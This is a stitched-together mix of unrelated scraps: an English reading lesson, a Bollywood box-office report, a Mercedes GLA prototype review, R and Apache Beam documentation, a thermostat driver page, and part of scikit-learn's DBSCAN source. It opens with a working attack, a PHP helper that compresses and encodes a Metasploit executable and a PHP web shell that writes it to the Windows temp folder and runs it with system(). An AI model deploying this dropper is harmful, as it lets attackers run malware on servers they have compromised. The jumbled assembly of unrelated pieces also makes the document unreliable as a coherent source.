Unless doing it elsewhere, drop into a php interactive console (php -a) or copy into 'assist.php' and then gzdeflate the data.
If you change the encoding scheme, make sure you update the execution in the shell below.
php helper script. It will encode/compress an exe, decode/decompress for comparison.
<?php
$file = file_get_contents("msf.exe");
$obfuscate = base64_encode(gzcompress($file));
$final = fopen("gzb64out.txt",'wb');
fwrite($final,$obfuscate);
fclose($final);
$parts = str_split($obfuscate, 100);
print '$payload = "";' . "\n";
foreach($parts as &$value){
print '$payload .= "' . $value . '";' . "\n";
};
$file = file_get_contents("gzb64out.txt");
$result = gzuncompress(base64_decode($file));
$wr = fopen("out.exe",'wb');
fwrite($wr,$result);
fclose($wr);
?>
Now copy and paste the base64 output into the shell below in the $payload variable:
<?php
header('Content-type: text/plain');
//
$payload = "";
$evalCode = gzuncompress(base64_decode($payload));
$tmpdir ="C:\\windows\\temp";
chdir($tmpdir);
$res .= "Using dir : ".$tmpdir;
$filename = "me.exe";
$file = fopen($filename, 'wb');
fwrite($file, $evalCode);
fclose($file);
$path = $filename;
$res .= "\n\nExecuting : ".$path."\n";
echo $res;
$output = system($path);
?>


| lesson 57 Back in the old country |
| I stopped to let the car cool off and to study the map. |
| I had expected to be near my objective by now, but everything still seemed alien to me. |
| I was only five when my father had taken me abroad, and that was eighteen years ago. |
| When my mother had died after a tragic accident, he did not quickly recover from the shock and loneliness. |
| Everything around him was full of her presence, continually reopening the wound. |
| So he decided to emigrate. |
| In the new country he became absorbed in making a new life for the two of us, so that he gradually ceased to grieve. |
| He did not marry again and I was brought up without a woman's care; |
| but I lacked for nothing, for he was both father and mother to me. |
| He always meant to go back one day, but not to stay. |
| His roots and mine bad become too firmly embedded in the new land. |
| But he wanted to see the old folk again and to visit my mother's grave. |
| He became mortally ill a few months before we had planned to go and, when he knew that he was dying, he made me promise to go on my own. |
| I hired a car the day after landing and bought a comprehensive book of maps, |
| which I found most helpful on the cross-country journey, but which I did not think I should need on the last stage. |
| It was not that I actually remembered anything at all. |
| But my father had described over and over again what we should see at every milestone, after leaving the nearest town, |
| so that I was positive I should recognize it as familiar territory. |
| Well, I had been wrong, for I was now lost. |
| I looked at the map and then at the milometer. |
| I had come ten miles since leaving the town, |
| and at this point, according to my father, I should be looking at farms and cottages in a valley, |
| with the spire of the church of our village showing in the far distance. |
| I could see no valley, no farms, no cottages and no church spire -- only a lake. |
| I decided that I must have taken a wrong turning somewhere. |
| So I drove back to the town and began to retrace the route, taking frequent glances at the map. |
| I landed up at the same corner. |
| The curious thing was that the lake was not marked on the map. |
| I felt as if I had stumbled into a nightmare country, as you sometimes do in dreams. |
| And, as in a nightmare, there was nobody in sight to help me. |
| Fortunately for me, as I was wondering what to do next, there appeared on the horizon a man on horseback, riding in my direction. |
| I waited till he came near, then I asked him the way to our old village. |
| He said that there was now no village. |
| I thought he must have misunderstood me, so I repeated its name. |
| This time he pointed to the lake. |
| The village no longer existed because it had been submerged, and all the valley too. |
| The lake was not a natural one, but a man-made reservoir. |


Bala Box Office Day 18: Changes Gears Further On Sunday
The Ayushmann Khurranna, Yami Gautam and Bhumi Pednekar starrer would come close to the 110 crores mark by the end of week
by Joginder TutejaWith not much competition coming from Hindi films, except for the fact that it has lost a major count of screens, Bala changed gears further on Sunday. The film collected 3.22 crores more and that has elevated its score further to 105.87 crores.
The Ayushmann Khurranna, Yami Gautam and Bhumi Pednekar starrer would come close to the 110 crores mark by the end of week and from there a lifetime in the vicinity of 120 crores would be a possibility. That would make it Ayushmann’s third highest grossing film after Dream Girl and Badhaai Ho. As for Dinesh Vijan and Amar Kaushik, it would be their second highest grossing film as well after Stree (129.67 crores). In fact that film had also benefitted from chartbuster tracks and had that been the case of Bala, perhaps it may just have come further close.
The film is still amongst the Top-15 biggest grossers of 2019. There are a few biggies lined up for release in the last month of the year but still, Bala should stay in the Top-20 before the close of year.
Note: All collections as per production and distribution sources
Joginder Tuteja tweets @tutejajoginder


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This diagram illustrates the relationship between the reference pixel and device pixels (called "dots" below).
The image depicts a high resolution (large dot density) laser printer output on the left and a low resolution monitor screen on the right. For the laser printer, one square reference pixel is implemented by 16 dots. For the monitor screen, one square reference pixel is implemented by a single dot.


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Running this demo under Ubuntu or one of its derivatives may result in unexpected browser crashes while browsing a directory that contains malformed JP2s!
For any question or further information, please contact Johan van der Knijff at kb.nl


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Default plot method for emetaFilt
# S3 method for emetaFilt plot(filter_obj, min_val = NA, max_val = NA, cats = NA, na.rm = TRUE, title = NA, xlabel = attr(filter_obj, "cname"), ylabel = "Count")
| filter_obj | object of class |
|---|---|
| min_val | a numeric value specifying the minimum value (inclusive) that a peak should have for the specified 'e_meta' column |
| max_val | a numeric value specifying the maximum value (inclusive) that a peak should have for the specified 'e_meta' column |
| cats | a vector of character values specifying the level(s) of the specified 'e_meta' column which should be retained |
| na.rm | logical value specifying if peaks with NA values for the specified 'e_meta' column should be removed. Default value is TRUE |
| title | plot title |
| xlabel | x-axis label, default is the column of emeta used to construct |
| ylabel | y-axis label |
plotly
plot object
# Emeta filter based on the "OtoC_ratio" column (numeric variable) filter_object1 = emeta_filter(exampleProcessedPeakData, cname = "OtoC_ratio") # Plots the distribution of OtoC_ratio plot(filter_object1) # Demonstrates retaining values between 0.5 and 1 plot(filter_object1, min_val = 0.5, max_val = 1) # Emeta filter based on the "MolForm" column (categorical variable) filter_object2 = emeta_filter(exampleProcessedPeakData, cname = "MolForm") # Only non-NAs retained plot(filter_object2) # Peaks matching "C10" retained plot(filter_object2, cats=grep("C10", filter_object2$emeta_value, value = TRUE))


2020 Mercedes-Benz GLA review: Prototype drive
A quick spin in Merc's next-gen small SUV
by Greg KableCurrent Pricing Not Available
- Fuel Economy
7L - Engine Power
155kW - CO2 Emissions
162g - ANCAP Rating
N/A
New 2020 GLA completes Merc's small car family with added height, a more versatile interior and more off-road ability than most prospective owners will ever need.
- shares
Mercedes-Benz is not a car maker we automatically associate with small cars – or 'compacts' as the German car maker prefers to refer to them. We should, though.
Almost every fourth car Mercedes-Benz has sold worldwide in 2019 is a small car – technically identified by the fact that it uses a transverse engine and offers the choice of either front or four-wheel drive.
The success of its small cars in many global markets, including Australia, over recent years was behind a decision by Mercedes-Benz earlier this decade to expand its line-up to the point where it presently offers seven different models off its latest small car platform.
The so-called MFA II, the latest being the recently unveiled GLB, adds a new dimension to the line-up with seven-seat capability next to the A-Class, A-Class sedan in both standard and long-wheelbase guises, B-Class, CLA and CLA Shooting Brake.
Now, in a move that will complete its current small car offering, Mercedes-Benz is preparing to introduce an eighth model in the form of the second-generation GLA.
The new five-seat crossover is a vitally important car for the company, as its sales statistics underline. “Since its launch in 2014 we have sold almost one million GLAs worldwide,” says Mercedes-Benz spokesperson, Markus Nast.
Looking to garner an even greater slice of the premium small crossover market against popular rivals such as Audi Q2 and BMW X2, Mercedes-Benz plans to offer the 2020-model-year GLA with the choice of four different drivetrains, with both traditional petrol and diesel combustion engines as well as a new petrol-electric plug-in hybrid system and, an aerodynamically-refined EQA model earmarked for Australian introduction in late 2021, with a pure electric powertrain.
We’re still a few weeks away from seeing the new GLA, which is planned to be unveiled by Mercedes-Benz boss Ola Kallenius in a live-to-internet presentation next month.
But before it is exposed in full we were given the chance to sample a near-to-production-ready prototype in a run around the German car maker’s A-Rock off-road obstacle course at its Rastatt plant, where the crossover model is currently undergoing pilot production ahead of a planned Australian introduction during the third quarter of 2020.
Initial impressions back up what earlier scoop images of the new GLA suggested, namely that it has been given more upright styling in a bid to provide it with greater interior accommodation, added versatility and a slightly larger boot.
Mercedes-Benz confirms the new model is almost 20mm shorter than the first-generation GLA, which ran to 4424mm in length.
Despite this, the wheelbase has been extended by 30mm to 2729mm, endowing it with greater rear-seat legroom and the scope for an adjustable rear seat similar to that already offered as an option on the latest third-generation B-Class and new GLB.
The biggest change in overall dimensions, however, comes with the height. It has been extended by almost 100mm in a move that gives the GLA less of a hatchback-on-stills optic for a more truly dedicated crossover appearance.
It also helps to provide the new Mercedes-Benz model with greater headroom, especially in the rear which is now considerably roomier than before.
Inside, the new GLA combines elements from both the fourth-generation A-Class and new GLB.
With clear and precise digital instruments and a touch screen infotainment display housed with a single panel as well as quality features, including Mercedes-Benz’s MBUX operating system and a 64-colour ambient lighting, it's big on upmarket appeal.
Standard equipment includes active braking assist, active lane-keeping assist, speed limit assist, a driver attention sensor and keyless go.
With our time in the new GLA limited purely to an off-road course at walking speeds, we can’t tell you very much about its on-road character just yet. What we can confirm, though, is that it is capable of going places many prospective owners will never consider taking the second-generation crossover.
As with other new Mercedes-Benz compact models, its optional 4Matic four-wheel drive system has been reengineered to offer fully variable apportioning of power to either the front or rear wheels.
Traction on slippery surfaces is obviously a key strength, allowing it to tackle tricky obstacles without much trouble at all.
Despite Mercedes-Benz’s insistence on showcasing its off-road ability, though, the GLA will only be offered with standard bodywork. A more rugged variant in the style of the company’s All Terrain models, is not on the cards, according to Nast, who says the new model, which goes under the internal codename H247, will be available exclusively with a standard and, in combination with an optional AMG styling line, a lowered ride height.
“At the moment there are no plans to offer a higher riding model,” he says.
The standard engines for the new GLA mirror those of the other recent new Mercedes-Benz compact models. Exclusively four-cylinder, they include a 1.3-litre and two 2.0-litre turbo petrol units with 120kW, 140kW and 165kW respectively as well as a 1.5-litre turbo-diesel with 85kW and a pair of 2.0-litre turbo-diesels with 110kW and 140kW.
Standard GLA models will retain front-wheel drive, with gearboxes set to include a six-speed manual, a seven-speed dual-clutch Getrag-supplied unit or either a seven-speed or eight-speed dual-clutch in-house produced unit depending on the engine.
As displayed by the prototype we rode in, selected new GLA models will also be offered with 4Matic four-wheel drive.
A new GLA250e EQ Power plug-in hybrid model will join the new GLA line-up in time for the beginning of Australian sales later next year. It uses the same petrol-electric system as the recently introduced A250e EQ Power, with a 1.3-litre four-cylinder petrol engine developing 116kW and gearbox-mounted electric motor with 75kW.
Together, they offer a combined system output of 160kW. With a 15.6kWh lithium-ion battery mounted underneath the rear seat, it is expected to provide an electric-only range of over 60km on the WLTP test cycle.
Also planned for sale during the second half of 2020 are three 2.0-litre four-cylinder AMG models. Included is the GLA35 4Matic with 225kW, the GLA45 4Matic with 285kW and the range-topping GLA45 S 4Matic with 310kW – the later boasting a 0-100km/h time of 4.0sec and electronically limited 250km/h top speed.
While Mercedes-Benz is yet to provide official confirmation, CarAdvice can also reveal the new compact crossover also forms the basis of the electric powered EQA.
Set for launch in 2021, it will challenge the likes of the BMW i3 and Volkswagen ID.3 with an expected electric range of over 300 miles (482km).
As with the first-generation GLA, the new 2020 model will be produced alongside the A-Class hatchback, B-Class MPV and A-Class sedan at Mercedes-Benz’s Rastatt plant in Germany. Additional production will take place in Beijing, China, exclusively for the Chinese market.
MORE: Mercedes-Benz GLA news, reviews, comparisons and videos
MORE: Everything Mercedes-Benz
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2020 Mercedes-Benz GLA review: Prototype drive


Balance:
Feral:
Restoration:
Beast Mastery:
Marksmanship:
Survival:
Arcane:
Fire:
Frost:
Holy:
Protection:
Retribution:
Discipline:
Holy:
Shadow:
Assassination:
Combat:
Subtlety:
Elemental:
Enhancement:
Restoration:
Affliction:
Demonology:
Destruction:
Arms:
Fury:
Protection:
Copy the text below and paste it into the appropriate channel.


After a few minutes, the beast stops roaring at you, and you peek out from under your towel to see if it's safe. The Ravenous Bugblatter Beast of Traal notices it can see you and devours you whole.


A WeldJoint constrains all relative motion between two bodies.
A revolute joint rains two bodies to share a common point while they are free to rotate about the point.
A fixed revolute joint rains a body to share a common point with the word while it is free to rotate about the point.
An angle joint maintains a fixed angle between two bodies.
An fixed angle joint maintains a fixed angle on one body
A line joint provides two degrees of freedom: translation along an axis fixed in body1 and rotation in the plane.


File List
Search:
- src
- controllers
- application_controller.js.coffee src/controllers
- table_controller.coffee src/controllers
- entities
- action_button.coffee src/entities
- action_buttons_collection.coffee src/entities
- filter.coffee src/entities
- utilities
- string_utils.coffee src/utilities
- views
- action_button.coffee src/views
- control_bar.coffee src/views
- empty.coffee src/views
- header.coffee src/views
- layout.coffee src/views
- loading.coffee src/views
- paginator.coffee src/views
- row.coffee src/views
- row_list.coffee src/views
- selection_indicator.coffee src/views


Pipeline I/O Table of Contents
A guide for users who need to connect to a data store that isn’t supported by the Built-in I/O Transforms
This guide covers how to implement I/O transforms in the Beam model. Beam pipelines use these read and write transforms to import data for processing, and write data to a store.
Reading and writing data in Beam is a parallel task, and using ParDo
s, GroupByKey
s, etc… is usually sufficient. Rarely, you will need the more specialized Source
and Sink
classes for specific features. There are changes coming soon (SplittableDoFn
, BEAM-65) that will make Source
unnecessary.
As you work on your I/O Transform, be aware that the Beam community is excited to help those building new I/O Transforms and that there are many examples and helper classes.
Read transforms take data from outside of the Beam pipeline and produce PCollection
s of data.
For data stores or file types where the data can be read in parallel, you can think of the process as a mini-pipeline. This often consists of two steps:
Each of those steps will be a ParDo
, with a GroupByKey
in between. The GroupByKey
is an implementation detail, but for most runners it allows the runner to use different numbers of workers for:
The GroupByKey
will also allow Dynamic Work Rebalancing to occur (on supported runners).
Here are some examples of read transform implementations that use the “reading as a mini-pipeline” model when data can be read in parallel:
ParDo
: As input, take in a file glob. Produce a PCollection
of strings, each of which is a file path.ParDo
: Given the PCollection
of file paths, read each one, producing a PCollection
of records.ParDo
: As input, receive connection information for the database and the key range to read from. Produce a PCollection
of key ranges that can be read in parallel efficiently.ParDo
: Given the PCollection
of key ranges, read the key range, producing a PCollection
of records.For data stores or files where reading cannot occur in parallel, reading is a simple task that can be accomplished with a single ParDo
+GroupByKey
. For example:
ParDo
in this case would establish a connection to the database and read batches of records, producing a PCollection
of those records.ParDo
in this case would open the file and read in sequence, producing a PCollection
of records from the file.Source
APIThe above discussion is in terms of ParDo
s - this is because Source
s have proven to be tricky to implement. At this point in time, the recommendation is to use Source
only if ParDo
doesn’t meet your needs. A class derived from FileBasedSource
is often the best option when reading from files.
If you’re trying to decide on whether or not to use Source
, feel free to email the Beam dev mailing list and we can discuss the specific pros and cons of your case.
In some cases implementing a Source
may be necessary or result in better performance.
ParDo
s will not work for reading from unbounded sources - they do not support checkpointing and don’t support mechanisms like de-duping that have proven useful for streaming data sources.ParDo
s cannot provide hints to runners about their progress or the size of data they are reading - without size estimation of the data or progress on your read, the runner doesn’t have any way to guess how large your read will be, and thus if it attempts to dynamically allocate workers, it does not have any clues as to how many workers you may need for your pipeline.ParDo
s do not support Dynamic Work Rebalancing - these are features used by some readers to improve the processing speed of jobs (but may not be possible with your data source).ParDo
s do not receive ‘desired_bundle_size’ as a hint from runners when performing initial splitting.
SplittableDoFn
(BEAM-65) will mitigate many of these concerns.Write transforms are responsible for taking the contents of a PCollection
and transferring that data outside of the Beam pipeline.
Write transforms can usually be implemented using a single ParDo
that writes the records received to the data store.
TODO: this section needs further explanation.
Sink
APIYou are strongly discouraged from using the Sink
class unless you are creating a FileBasedSink
. Most of the time, a simple ParDo
is all that’s necessary. If you think you have a case that is only possible using a Sink
, please email the Beam dev mailing list.
This guide is still in progress. There is an open issue to finish the guide: BEAM-1025.


It randomly generates a full factorial design across locations.
full_factorial( setfactors = NULL, reps = NULL, l = 1, type = 2, plotNumber = 101, continuous = FALSE, planter = "serpentine", seed = NULL, locationNames = NULL, factorLabels = TRUE, data = NULL )
| setfactors | Numeric vector with levels of each factor. |
|---|---|
| reps | Number of replicates (full blocks). |
| l | Number of locations. By default |
| type | Option for CRD or RCBD designs. Values are |
| plotNumber | Numeric vector with the starting plot number for
each location. By default |
| continuous | Logical for plot number continuous or not. By
default |
| planter | Option for |
| seed | (optional) Real number that specifies the starting seed to obtain reproducible designs. |
| locationNames | (optional) Names for each location. |
| factorLabels | (optional) If |
| data | (optional) Data frame with the labels of factors. |
A list with two elements.
infoDesign
is a list with information on the design parameters.
fieldBook
is a data frame with the full factorial field book.
Federer, W. T. (1955). Experimental Design. Theory and Application. New York, USA. The Macmillan Company.
Didier Murillo [aut], Salvador Gezan [aut], Ana Heilman [ctb], Thomas Walk [ctb], Johan Aparicio [ctb], Richard Horsley [ctb]
# Example 1: Generates a full factorial with 3 factors each with 2 levels. # This in an RCBD arrangement with 3 reps. fullFact1 <- full_factorial(setfactors = c(2,2,2), reps = 3, l = 1, type = 2, plotNumber = 101, continuous = TRUE, planter = "serpentine", seed = 325, locationNames = "FARGO") fullFact1$infoDesign#> $factors #> [1] "A" "B" "C" #> #> $levels #> [1] 1 2 1 2 1 2 #> #> $runs #> [1] 8 #> #> $alltreatments #> A B C #> 1 1 1 1 #> 2 2 1 1 #> 3 1 2 1 #> 4 2 2 1 #> 5 1 1 2 #> 6 2 1 2 #> 7 1 2 2 #> 8 2 2 2 #> #> $Reps #> [1] 3 #> #> $Locations #> [1] 1 #> #> $locationNames #> [1] "FARGO" #> #> $kind #> [1] "RCBD" #> #> $idDesign #> [1] 4 #>#> ID LOCATION PLOT REP FACTOR_A FACTOR_B FACTOR_C TRT_COMB #> 1 1 FARGO 101 1 1 2 2 1*2*2 #> 2 2 FARGO 102 1 1 1 2 1*1*2 #> 3 3 FARGO 103 1 2 2 2 2*2*2 #> 4 4 FARGO 104 1 2 1 1 2*1*1 #> 5 5 FARGO 105 1 2 1 2 2*1*2 #> 6 6 FARGO 106 1 1 1 1 1*1*1 #> 7 7 FARGO 107 1 1 2 1 1*2*1 #> 8 8 FARGO 108 1 2 2 1 2*2*1 #> 16 9 FARGO 109 2 1 1 1 1*1*1 #> 15 10 FARGO 110 2 2 2 1 2*2*1# Example 2: Generates a full factorial with 3 factors and each with levels: 2,3, # and 2, respectively. In this case, we show how to use the option data FACTORS <- rep(c("A", "B", "C"), c(2,3,2)) LEVELS <- c("a0", "a1", "b0", "b1", "b2", "c0", "c1") data_factorial <- data.frame(list(FACTOR = FACTORS, LEVEL = LEVELS)) print(data_factorial)#> FACTOR LEVEL #> 1 A a0 #> 2 A a1 #> 3 B b0 #> 4 B b1 #> 5 B b2 #> 6 C c0 #> 7 C c1# This in an RCBD arrangement with 5 reps in 3 locations. fullFact2 <- full_factorial(setfactors = NULL, reps = 5, l = 3, type = 2, plotNumber = c(101,1001,2001), continuous = FALSE, planter = "serpentine", seed = 326, locationNames = c("Loc1","Loc2","Loc3"), data = data_factorial) fullFact2$infoDesign#> $factors #> [1] "A" "B" "C" #> #> $levels #> $levels[[1]] #> [1] "a0" "a1" #> #> $levels[[2]] #> [1] "b0" "b1" "b2" #> #> $levels[[3]] #> [1] "c0" "c1" #> #> #> $runs #> [1] 12 #> #> $alltreatments #> A B C #> 1 a0 b0 c0 #> 2 a1 b0 c0 #> 3 a0 b1 c0 #> 4 a1 b1 c0 #> 5 a0 b2 c0 #> 6 a1 b2 c0 #> 7 a0 b0 c1 #> 8 a1 b0 c1 #> 9 a0 b1 c1 #> 10 a1 b1 c1 #> 11 a0 b2 c1 #> 12 a1 b2 c1 #> #> $Reps #> [1] 5 #> #> $Locations #> [1] 3 #> #> $locationNames #> [1] "Loc1" "Loc2" "Loc3" #> #> $kind #> [1] "RCBD" #> #> $idDesign #> [1] 4 #>#> ID LOCATION PLOT REP FACTOR_A FACTOR_B FACTOR_C TRT_COMB #> 1 1 Loc1 101 1 a0 b2 c0 a0*b2*c0 #> 2 2 Loc1 102 1 a1 b1 c0 a1*b1*c0 #> 3 3 Loc1 103 1 a0 b0 c0 a0*b0*c0 #> 4 4 Loc1 104 1 a0 b2 c1 a0*b2*c1 #> 5 5 Loc1 105 1 a0 b0 c1 a0*b0*c1 #> 6 6 Loc1 106 1 a1 b2 c1 a1*b2*c1 #> 7 7 Loc1 107 1 a1 b0 c1 a1*b0*c1 #> 8 8 Loc1 108 1 a0 b1 c0 a0*b1*c0 #> 9 9 Loc1 109 1 a0 b1 c1 a0*b1*c1 #> 10 10 Loc1 110 1 a1 b0 c0 a1*b0*c0


tekmar
This driver supports communication with tekmar thermostats.
Connecting to a tekmar system
Connection to a tekmar system is done through tekmarNet4 Gateway 482 Serial Interface.
Resources
The supported resource types are:
- Cooler and Heater: Thermostat that supports Heating and Cooling (HeatSetpoint and CoolSetpoint operations).
- Heater: Thermostat that only supports Heating (HeatSetpoint operation).
- Slab control: Thermostat that supports Slab heating (SlabSetpoint operation).
- Setback switch: Button with LED, LED is on when setback is enabled and pressing the button switches setback state.
- Setpoint device: Thermostat that supports only one setpoint (SetpointDevice operation).
Resource address format
All thermostats addresses are the tekmar addresses. The Setback switch resource has no address and only one is allowed for the system.
Addressess in tekmar depend on the wiring, so if wiring is modified, BeoLiving Intelligence resource addresses must be updated accordingly.
There is no one to one mapping between BeoLiving Intelligence resources and tekmar thermostats, one tekmar thermostat can handled through more than one BeoLiving Intelligence device. For example if your tekmar thermostat has two setpoints for Cooling and Heating and also has a Slab control, you should define a Cooler and Heater thermostat and a Slab control in BeoLiving Intelligence.
If you don’t know what addresses are defined in tekmar you can use the “Load resource from connected system” button under “Import resources” on resources setup. This will provide all the connected devices addresses, but won’t help with their capabilities. If you don’t know your tekmar thermostats capabilities or for example, you have a thermostat with slab and one without and don’t know which address is which, you can add all the listed resources in the resource import list, and then find out by trying (in the example, define slab for both and test which works).


---
layout: page
title:
excerpt: "A personal page"
search_omit: true
---
Contact me.
Check out my resume.
The picture above is me with my first cronut. I was hooked from the first bite and now I never fail to pre-order for the first of the month (when the new flavor comes out). My monthly guilty pleasure!


Icon example
Icons are actually text symbols and may be any size. They can be animated, rotated, flipped and coloured.


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| Prompt with input Type : text, date, number, email, password | |
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| Prompt with input Type : select,radio,checkbox | |
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More Option : ExecuteAfter - This will be called after the modal creation. ExecuteBefore - This will be called before modal creation. |
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# -*- coding: utf-8 -*-
"""
DBSCAN: Density-Based Spatial Clustering of Applications with Noise
"""
# Author: Robert Layton<EMAIL_ADDRESS># Joel Nothman<EMAIL_ADDRESS># Lars Buitinck
#
# License: BSD 3 clause
import numpy as np
from scipy import sparse
from ..base import BaseEstimator, ClusterMixin
from ..utils import check_array, check_consistent_length
from ..neighbors import NearestNeighbors
from ._dbscan_inner import dbscan_inner
def dbscan(X, eps=0.5, min_samples=5, metric='minkowski', metric_params=None,
algorithm='auto', leaf_size=30, p=2, sample_weight=None, n_jobs=1):
"""Perform DBSCAN clustering from vector array or distance matrix.
Read more in the :ref:`User Guide <dbscan>`.
Parameters
----------
X : array or sparse (CSR) matrix of shape (n_samples, n_features), or \
array of shape (n_samples, n_samples)
A feature array, or array of distances between samples if
``metric='precomputed'``.
eps : float, optional
The maximum distance between two samples for them to be considered
as in the same neighborhood.
min_samples : int, optional
The number of samples (or total weight) in a neighborhood for a point
to be considered as a core point. This includes the point itself.
metric : string, or callable
The metric to use when calculating distance between instances in a
feature array. If metric is a string or callable, it must be one of
the options allowed by metrics.pairwise.pairwise_distances for its
metric parameter.
If metric is "precomputed", X is assumed to be a distance matrix and
must be square. X may be a sparse matrix, in which case only "nonzero"
elements may be considered neighbors for DBSCAN.
metric_params : dict, optional
Additional keyword arguments for the metric function.
.. versionadded:: 0.19
algorithm : {'auto', 'ball_tree', 'kd_tree', 'brute'}, optional
The algorithm to be used by the NearestNeighbors module
to compute pointwise distances and find nearest neighbors.
See NearestNeighbors module documentation for details.
leaf_size : int, optional (default = 30)
Leaf size passed to BallTree or cKDTree. This can affect the speed
of the construction and query, as well as the memory required
to store the tree. The optimal value depends
on the nature of the problem.
p : float, optional
The power of the Minkowski metric to be used to calculate distance
between points.
sample_weight : array, shape (n_samples,), optional
Weight of each sample, such that a sample with a weight of at least
``min_samples`` is by itself a core sample; a sample with negative
weight may inhibit its eps-neighbor from being core.
Note that weights are absolute, and default to 1.
n_jobs : int, optional (default = 1)
The number of parallel jobs to run for neighbors search.
If ``-1``, then the number of jobs is set to the number of CPU cores.
Returns
-------
core_samples : array [n_core_samples]
Indices of core samples.
labels : array [n_samples]
Cluster labels for each point. Noisy samples are given the label -1.
Notes
-----
For an example, see :ref:`examples/cluster/plot_dbscan.py
<sphx_glr_auto_examples_cluster_plot_dbscan.py>`.
This implementation bulk-computes all neighborhood queries, which increases
the memory complexity to O(n.d) where d is the average number of neighbors,
while original DBSCAN had memory complexity O(n).
Sparse neighborhoods can be precomputed using
:func:`NearestNeighbors.radius_neighbors_graph
<sklearn.neighbors.NearestNeighbors.radius_neighbors_graph>`
with ``mode='distance'``.
References
----------
Ester, M., H. P. Kriegel, J. Sander, and X. Xu, "A Density-Based
Algorithm for Discovering Clusters in Large Spatial Databases with Noise".
In: Proceedings of the 2nd International Conference on Knowledge Discovery
and Data Mining, Portland, OR, AAAI Press, pp. 226-231. 1996
"""
if not eps > 0.0:
raise ValueError("eps must be positive.")
X = check_array(X, accept_sparse='csr')
if sample_weight is not None:
sample_weight = np.asarray(sample_weight)
check_consistent_length(X, sample_weight)
# Calculate neighborhood for all samples. This leaves the original point
# in, which needs to be considered later (i.e. point i is in the
# neighborhood of point i. While True, its useless information)
if metric == 'precomputed' and sparse.issparse(X):
neighborhoods = np.empty(X.shape[0], dtype=object)
X.sum_duplicates() # XXX: modifies X's internals in-place
X_mask = X.data <= eps
masked_indices = X.indices.astype(np.intp, copy=False)[X_mask]
masked_indptr = np.concatenate(([0], np.cumsum(X_mask)))[X.indptr[1:]]
# insert the diagonal: a point is its own neighbor, but 0 distance
# means absence from sparse matrix data
masked_indices = np.insert(masked_indices, masked_indptr,
np.arange(X.shape[0]))
masked_indptr = masked_indptr[:-1] + np.arange(1, X.shape[0])
# split into rows
neighborhoods[:] = np.split(masked_indices, masked_indptr)
else:
neighbors_model = NearestNeighbors(radius=eps, algorithm=algorithm,
leaf_size=leaf_size,
metric=metric,
metric_params=metric_params, p=p,
n_jobs=n_jobs)
neighbors_model.fit(X)
# This has worst case O(n^2) memory complexity
neighborhoods = neighbors_model.radius_neighbors(X, eps,
return_distance=False)
if sample_weight is None:
n_neighbors = np.array([len(neighbors)
for neighbors in neighborhoods])
else:
n_neighbors = np.array([np.sum(sample_weight[neighbors])
for neighbors in neighborhoods])
# Initially, all samples are noise.
labels = -np.ones(X.shape[0], dtype=np.intp)
# A list of all core samples found.
core_samples = np.asarray(n_neighbors >= min_samples, dtype=np.uint8)
dbscan_inner(core_samples, neighborhoods, labels)
return np.where(core_samples)[0], labels
class DBSCAN(BaseEstimator, ClusterMixin):
"""Perform DBSCAN clustering from vector array or distance matrix.
DBSCAN - Density-Based Spatial Clustering of Applications with Noise.
Finds core samples of high density and expands clusters from them.
Good for data which contains clusters of similar density.
Read more in the :ref:`User Guide <dbscan>`.
Parameters
----------
eps : float, optional
The maximum distance between two samples for them to be considered
as in the same neighborhood.
min_samples : int, optional
The number of samples (or total weight) in a neighborhood for a point
to be considered as a core point. This includes the point itself.
metric : string, or callable
The metric to use when calculating distance between instances in a
feature array. If metric is a string or callable, it must be one of
the options allowed by metrics.pairwise.calculate_distance for its
metric parameter.
If metric is "precomputed", X is assumed to be a distance matrix and
must be square. X may be a sparse matrix, in which case only "nonzero"
elements may be considered neighbors for DBSCAN.
.. versionadded:: 0.17
metric *precomputed* to accept precomputed sparse matrix.
metric_params : dict, optional
Additional keyword arguments for the metric function.
.. versionadded:: 0.19
algorithm : {'auto', 'ball_tree', 'kd_tree', 'brute'}, optional
The algorithm to be used by the NearestNeighbors module
to compute pointwise distances and find nearest neighbors.
See NearestNeighbors module documentation for details.
leaf_size : int, optional (default = 30)
Leaf size passed to BallTree or cKDTree. This can affect the speed
of the construction and query, as well as the memory required
to store the tree. The optimal value depends
on the nature of the problem.
p : float, optional
The power of the Minkowski metric to be used to calculate distance
between points.
n_jobs : int, optional (default = 1)
The number of parallel jobs to run.
If ``-1``, then the number of jobs is set to the number of CPU cores.
Attributes
----------
core_sample_indices_ : array, shape = [n_core_samples]
Indices of core samples.
components_ : array, shape = [n_core_samples, n_features]
Copy of each core sample found by training.
labels_ : array, shape = [n_samples]
Cluster labels for each point in the dataset given to fit().
Noisy samples are given the label -1.
Notes
-----
For an example, see :ref:`examples/cluster/plot_dbscan.py
<sphx_glr_auto_examples_cluster_plot_dbscan.py>`.
This implementation bulk-computes all neighborhood queries, which increases
the memory complexity to O(n.d) where d is the average number of neighbors,
while original DBSCAN had memory complexity O(n).
Sparse neighborhoods can be precomputed using
:func:`NearestNeighbors.radius_neighbors_graph
<sklearn.neighbors.NearestNeighbors.radius_neighbors_graph>`
with ``mode='distance'``.
References
----------
Ester, M., H. P. Kriegel, J. Sander, and X. Xu, "A Density-Based
Algorithm for Discovering Clusters in Large Spatial Databases with Noise".
In: Proceedings of the 2nd International Conference on Knowledge Discovery
and Data Mining, Portland, OR, AAAI Press, pp. 226-231. 1996
"""
def __init__(self, eps=0.5, min_samples=5, metric='euclidean',
metric_params=None, algorithm='auto', leaf_size=30, p=None,
n_jobs=1):
self.eps = eps
self.min_samples = min_samples
self.metric = metric
self.metric_params = metric_params
self.algorithm = algorithm
self.leaf_size = leaf_size
self.p = p
self.n_jobs = n_jobs
[docs] def fit(self, X, y=None, sample_weight=None):
"""Perform DBSCAN clustering from features or distance matrix.
Parameters
----------
X : array or sparse (CSR) matrix of shape (n_samples, n_features), or \
array of shape (n_samples, n_samples)
A feature array, or array of distances between samples if
``metric='precomputed'``.
sample_weight : array, shape (n_samples,), optional
Weight of each sample, such that a sample with a weight of at least
``min_samples`` is by itself a core sample; a sample with negative
weight may inhibit its eps-neighbor from being core.
Note that weights are absolute, and default to 1.
"""
X = check_array(X, accept_sparse='csr')
clust = dbscan(X, sample_weight=sample_weight,
**self.get_params())
self.core_sample_indices_, self.labels_ = clust
if len(self.core_sample_indices_):
# fix for scipy sparse indexing issue
self.components_ = X[self.core_sample_indices_].copy()
else:
# no core samples
self.components_ = np.empty((0, X.shape[1]))
return self
[docs] def fit_predict(self, X, y=None, sample_weight=None):
"""Performs clustering on X and returns cluster labels.
Parameters
----------
X : array or sparse (CSR) matrix of shape (n_samples, n_features), or \
array of shape (n_samples, n_samples)
